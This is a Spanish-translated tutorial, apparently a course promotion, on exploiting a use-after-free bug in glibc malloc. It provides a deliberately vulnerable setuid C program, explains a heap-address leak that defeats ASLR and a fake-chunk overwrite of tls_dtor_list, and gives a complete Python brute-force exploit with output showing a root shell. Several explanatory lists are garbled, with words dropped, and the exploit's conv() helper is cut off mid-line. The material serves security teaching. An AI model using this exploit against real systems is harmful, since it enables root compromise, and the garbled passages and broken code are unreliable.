Vulnerabilidad Use-After-Free

¡Hola habr! En vísperas del inicio del curso avanzado "Ingeniería inversa", hemos preparado otra traducción interesante para ti. ¡Empecemos!







Prerrequisitos:



  1. Vulnerabilidad de uno por uno
  2. Entender el trabajo mallocenglibc


Configuración de la máquina virtual: Fedora 20 (x86).



¿Qué es Use-After-Free (UaF)?



El error Use-After-Free se produce si el puntero del montón continúa utilizándose después de que se haya liberado. Tal vulnerabilidad podría conducir a la ejecución de código derivado.



Código vulnerable:



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}


Comandos de compilación:



#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln


Nota : en comparación con el artículo anterior , aquí se incluye ASLR. Ahora aprovechemos el error UaF y, dado que ASLR está habilitado, solucionemos el problema con fugas de información y fuerza bruta.
En el código anterior, las vulnerabilidades use-after-free se encuentran en las líneas [6] y [13]. Las memorias del montón correspondientes se liberan en las líneas [5] y [10], pero sus punteros se utilizan después de la desasignación en las líneas [6] y [13]. UaF en la línea [6] conduce a una fuga de información, en la línea [13] - a la ejecución de código arbitrario.



¿Qué es la fuga de información? ¿Cómo puede un atacante explotarlo?



En el código vulnerable anterior (en la línea [6]), la fuga se produce en la dirección del montón. La dirección del montón filtrada ayudará a un atacante a averiguar fácilmente la dirección del segmento del montón asignada al azar, evitando así el ASLR.



Para comprender cómo se produce una fuga de direcciones de montón, primero comprendamos la primera mitad del código vulnerable.



  • La línea [1] asigna 16 bytes de memoria dinámica para "nombre" .
  • [2] 16 «details».
  • [3] 1 (argv[1]) «name».
  • [4] [5] «name» «details» glibc malloc.
  • Printf [6] «name» , .


Después de leer el artículo de la sección Requisitos previos, sabemos que los fragmentos correspondientes a los punteros "nombre" y "detalles" son fragmentos rápidos, que se almacenan en el índice cero en celdas rápidas cuando se liberan . También sabemos que cada celda rápida contiene una lista de fragmentos libres enlazados individualmente. Por lo tanto, volviendo a nuestro ejemplo, una lista enlazada individualmente en el índice cero en una celda rápida se ve así:



main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL


Debido a la singularidad, los primeros 4 bytes de "name" contienen la dirección de "details_chunk" . Por lo tanto, cuando se muestra "nombre" , la dirección de "detalles_chunk" se muestra primero . Según el diseño del montón, sabemos que "details_chunk" está desplazado 0x10 de la dirección del montón base. Entonces, restar 0x10 de la dirección del montón filtrada nos dará su dirección base.



¿Cómo se logra la ejecución de código arbitrario?



Ahora que tenemos la dirección base del segmento del montón, veamos cómo ejecutar código arbitrario observando la segunda mitad de nuestro ejemplo.



  • La línea [7] asigna una memoria de pila de 16 bytes para "tmp" .
  • [8] 1024 «p1».
  • [9] 1024 «p2».
  • [10] «p2» glibc malloc.
  • [11] 512 «p2_1».
  • [12] 512 «p2_2».
  • Read [13] «p2» .
  • [14] «p1» glibc malloc, .


Después de leer el artículo de la sección Requisitos previos , sabemos que cuando se lanza "p2"glibc malloc , se consolida en una parte superior. Más tarde, cuando se solicita memoria para "p2_1" , se asigna desde la parte superior y "p2" y "p2_2" tienen la misma dirección de montón. Además, cuando se solicita memoria para "p2_2" , se asigna desde la parte superior y "p2_2" está a 512 bytes de distancia de "p2" . Entonces, cuando el puntero "p2"se usa después de la liberación en la línea [13], los datos controlados por el atacante (máximo 1019 bytes) se copian en "p2_1" , que tiene un tamaño de solo 512 bytes, y por lo tanto, los datos restantes del atacante sobrescriben el siguiente fragmento "p2_2" , lo que permite al atacante sobrescribir el campo el tamaño del siguiente encabezado de fragmento.



Diseño del montón:







como sabemos por el artículo de la sección Requisitos previos , si un atacante puede sobrescribir con éxito el LSB del siguiente campo de tamaño de fragmento, puede hacer trampa glibc mallocpara romper la conexión con el fragmento p2_1 incluso si está en un estado asignado. También en ese artículoHemos visto que separar un fragmento grande en un estado asignado puede llevar a la ejecución de código arbitrario si un atacante ha manipulado cuidadosamente el encabezado del fragmento. El atacante crea un encabezado de fragmento falso como se muestra a continuación:



  • fddebe apuntar a una dirección de fragmento liberado. En el diagrama de montón, podemos ver que "p2_1" está en el desplazamiento 0x410. Desde aquí, fd = heap_base_address(que se recibió debido a la fuga) + 0x410.
  • bktambién debe apuntar a una dirección de fragmento liberado. En el diagrama de montón, podemos ver que "p2_1" está en el desplazamiento 0x410. Por lo tanto, fd = heap_base_address(que se obtuvo debido a la fuga) + 0x410.
  • fd_nextsize tls_dtor_list – 0x14. «tls_dtor_list» private anonymous mapping glibc. , , .
  • bk_nextsize , «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .


Ahora que tenemos toda esta información, podemos escribir un exploit para atacar el binario vulnerable "vuln" .



Código de explotación:



#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)


Dado que necesitamos varios intentos durante la fuerza bruta (hasta que tengamos éxito), ejecutemos nuestro binario vulnerable "vuln" como un servidor de red y usemos un script de shell para asegurarnos de que se reinicia automáticamente cuando falla.



#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done


La ejecución del código de explotación anterior le dará privilegios de root en el shell. ¡Ocurrió!



Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$


Una fuente:



1. Revisión de la vulnerabilidad de uso posterior a la liberación de Defcon CTF Shitsco: ejecución remota de código






Análisis de bootkit. Lección gratis






Lee mas:






All Articles